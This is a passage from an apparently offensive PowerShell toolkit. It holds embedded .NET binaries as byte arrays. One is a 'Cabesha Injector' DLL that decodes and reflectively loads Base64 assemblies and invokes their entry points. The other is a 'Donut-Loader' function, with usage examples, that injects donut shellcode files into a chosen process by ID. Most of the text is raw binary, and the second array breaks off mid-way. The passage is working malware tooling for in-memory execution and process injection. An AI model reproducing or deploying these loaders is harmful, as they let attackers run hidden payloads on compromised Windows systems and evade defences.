2, 51, 0, 169, 0, 183, 2, 57, 0, 169, 0, 199, 2, 64, 0, 185, 0, 34, 3, 69, 0, 185, 0, 39, 3, 90, 0, 201, 0, 58, 3, 103, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 182, 0, 46, 0, 27, 0, 195, 0, 46, 0, 35, 0, 195, 0, 46, 0, 43, 0, 195, 0, 46, 0, 51, 0, 182, 0, 46, 0, 59, 0, 201, 0, 46, 0, 67, 0, 195, 0, 46, 0, 83, 0, 195, 0, 46, 0, 99, 0, 221, 0, 46, 0, 107, 0, 230, 0, 46, 0, 115, 0, 239, 0, 110, 0, 4, 128, 0, 0, 1, 0, 0, 0, 171, 27, 130, 72, 0, 0, 0, 0, 0, 0, 74, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 39, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 214, 2, 0, 0, 0, 0, 45, 0, 86, 0, 47, 0, 86, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 99, 97, 98, 101, 115, 104, 97, 46, 100, 108, 108, 0, 73, 110, 106, 101, 99, 116, 111, 114, 0, 67, 97, 98, 101, 115, 104, 97, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 69, 120, 101, 99, 117, 116, 101, 0, 97, 114, 103, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 46, 99, 116, 111, 114, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 99, 97, 98, 101, 115, 104, 97, 0, 83, 121, 115, 116, 101, 109, 46, 73, 79, 0, 83, 116, 114, 105, 110, 103, 87, 114, 105, 116, 101, 114, 0, 67, 111, 110, 115, 111, 108, 101, 0, 84, 101, 120, 116, 87, 114, 105, 116, 101, 114, 0, 83, 101, 116, 79, 117, 116, 0, 83, 101, 116, 69, 114, 114, 111, 114, 0, 84, 111, 83, 116, 114, 105, 110, 103, 0, 67, 111, 110, 118, 101, 114, 116, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 65, 115, 115, 101, 109, 98, 108, 121, 0, 76, 111, 97, 100, 0, 77, 101, 116, 104, 111, 100, 73, 110, 102, 111, 0, 103, 101, 116, 95, 69, 110, 116, 114, 121, 80, 111, 105, 110, 116, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 114, 101, 0, 83, 121, 115, 116, 101, 109, 46, 76, 105, 110, 113, 0, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 0, 73, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 96, 49, 0, 83, 107, 105, 112, 0, 84, 111, 65, 114, 114, 97, 121, 0, 77, 101, 116, 104, 111, 100, 66, 97, 115, 101, 0, 73, 110, 118, 111, 107, 101, 0, 0, 0, 0, 0, 3, 32, 0, 0, 0, 0, 0, 35, 181, 20, 237, 178, 22, 205, 74, 145, 95, 171, 31, 224, 251, 225, 163, 0, 8, 183, 122, 92, 86, 25, 52, 224, 137, 5, 0, 1, 14, 29, 14, 4, 32, 1, 1, 14, 4, 32, 1, 1, 2, 5, 32, 1, 1, 17, 57, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 0, 1, 1, 18, 77, 3, 32, 0, 14, 5, 0, 1, 29, 5, 14, 6, 0, 1, 18, 85, 29, 5, 4, 32, 0, 18, 89, 16, 16, 1, 2, 21, 18, 97, 1, 30, 0, 21, 18, 97, 1, 30, 0, 8, 3, 10, 1, 14, 12, 16, 1, 1, 29, 30, 0, 21, 18, 97, 1, 30, 0, 6, 32, 2, 28, 28, 29, 28, 15, 7, 8, 18, 69, 14, 29, 5, 18, 85, 18, 89, 14, 14, 29, 28, 55, 1, 0, 26, 46, 78, 69, 84, 70, 114, 97, 109, 101, 119, 111, 114, 107, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118, 52, 46, 53, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 12, 1, 0, 7, 99, 97, 98, 101, 115, 104, 97, 0, 0, 5, 1, 0, 0, 0, 0, 19, 1, 0, 14, 67, 111, 112, 121, 114, 105, 103, 104, 116, 32, 50, 48, 49, 57, 0, 0, 8, 1, 0, 7, 1, 0, 0, 0, 0, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2, 22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84, 104, 114, 111, 119, 115, 1, 0, 0, 0, 0, 0, 0, 245, 182, 231, 92, 0, 0, 0, 0, 2, 0, 0, 0, 28, 1, 0, 0, 240, 39, 0, 0, 240, 9, 0, 0, 82, 83, 68, 83, 181, 15, 159, 8, 211, 235, 197, 72, 132, 53, 87, 117, 195, 54, 153, 196, 3, 0, 0, 0, 99, 58, 92, 85, 115, 101, 114, 115, 92, 113, 52, 56, 57, 50, 53, 48, 49, 56, 92, 68, 111, 99, 117, 109, 101, 110, 116, 115, 92, 83, 104, 97, 114, 112, 68, 101, 118, 101, 108, 111, 112, 32, 80, 114, 111, 106, 101, 99, 116, 115, 92, 99, 97, 98, 101, 115, 104, 97, 92, 99, 97, 98, 101, 115, 104, 97, 92, 111, 98, 106, 92, 68, 101, 98, 117, 103, 92, 99, 97, 98, 101, 115, 104, 97, 46, 112, 100, 98, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 52, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 78, 41, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111, 114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100, 108, 108, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0, 0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0, 88, 64, 0, 0, 204, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 204, 2, 52, 0, 0, 0, 86, 0, 83, 0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70, 0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 130, 72, 171, 27, 0, 0, 1, 0, 130, 72, 171, 27, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97, 0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0, 176, 4, 44, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105, 0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 8, 2, 0, 0, 1, 0, 48, 0, 48, 0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 56, 0, 8, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114, 0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 64, 0, 15, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 56, 0, 12, 0, 1, 0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 68, 0, 15, 0, 1, 0, 76, 0, 101, 0, 103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 0, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0, 116, 0, 32, 0, 50, 0, 48, 0, 49, 0, 57, 0, 0, 0, 0, 0, 64, 0, 12, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0, 110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 48, 0, 8, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 99, 0, 97, 0, 98, 0, 101, 0, 115, 0, 104, 0, 97, 0, 0, 0, 68, 0, 15, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 72, 0, 15, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 55, 0, 48, 0, 56, 0, 51, 0, 46, 0, 49, 0, 56, 0, 53, 0, 54, 0, 50, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 12, 0, 0, 0, 96, 57, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | out-null 
$binario  = $arg.split(" ,")[0]
$arg = $arg.Replace("$binario ","").split(",") | Select-Object -Skip 1
$argumentos = $binario
foreach ($argumento in $arg) {
[array]$argumentos += $argumento

}
[Cabesha.Injector]::Execute($argumentos)}
}
function Donut-Loader {param($process_id,$donutfile)
    $help=@"
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D
"@
if ($process_id -eq $null -or $donutfile -eq $null) {write-host "$help`n"} else 
{
if (([IntPtr]::Size) -eq 4) {write-host "Sorry, this function only work on x64 :("; break}
[byte[]]$bytes = 77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 100, 134, 2, 0, 41, 64, 139, 93, 0, 0, 0, 0, 0, 0, 0, 0, 240, 0, 34, 32, 11, 2, 11, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 64, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 88, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 20, 45, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 76, 14, 0, 0, 0, 32, 0, 0, 0, 16, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 88, 3, 0, 0, 0, 64, 0, 0, 0, 16, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 0, 0, 0, 0, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 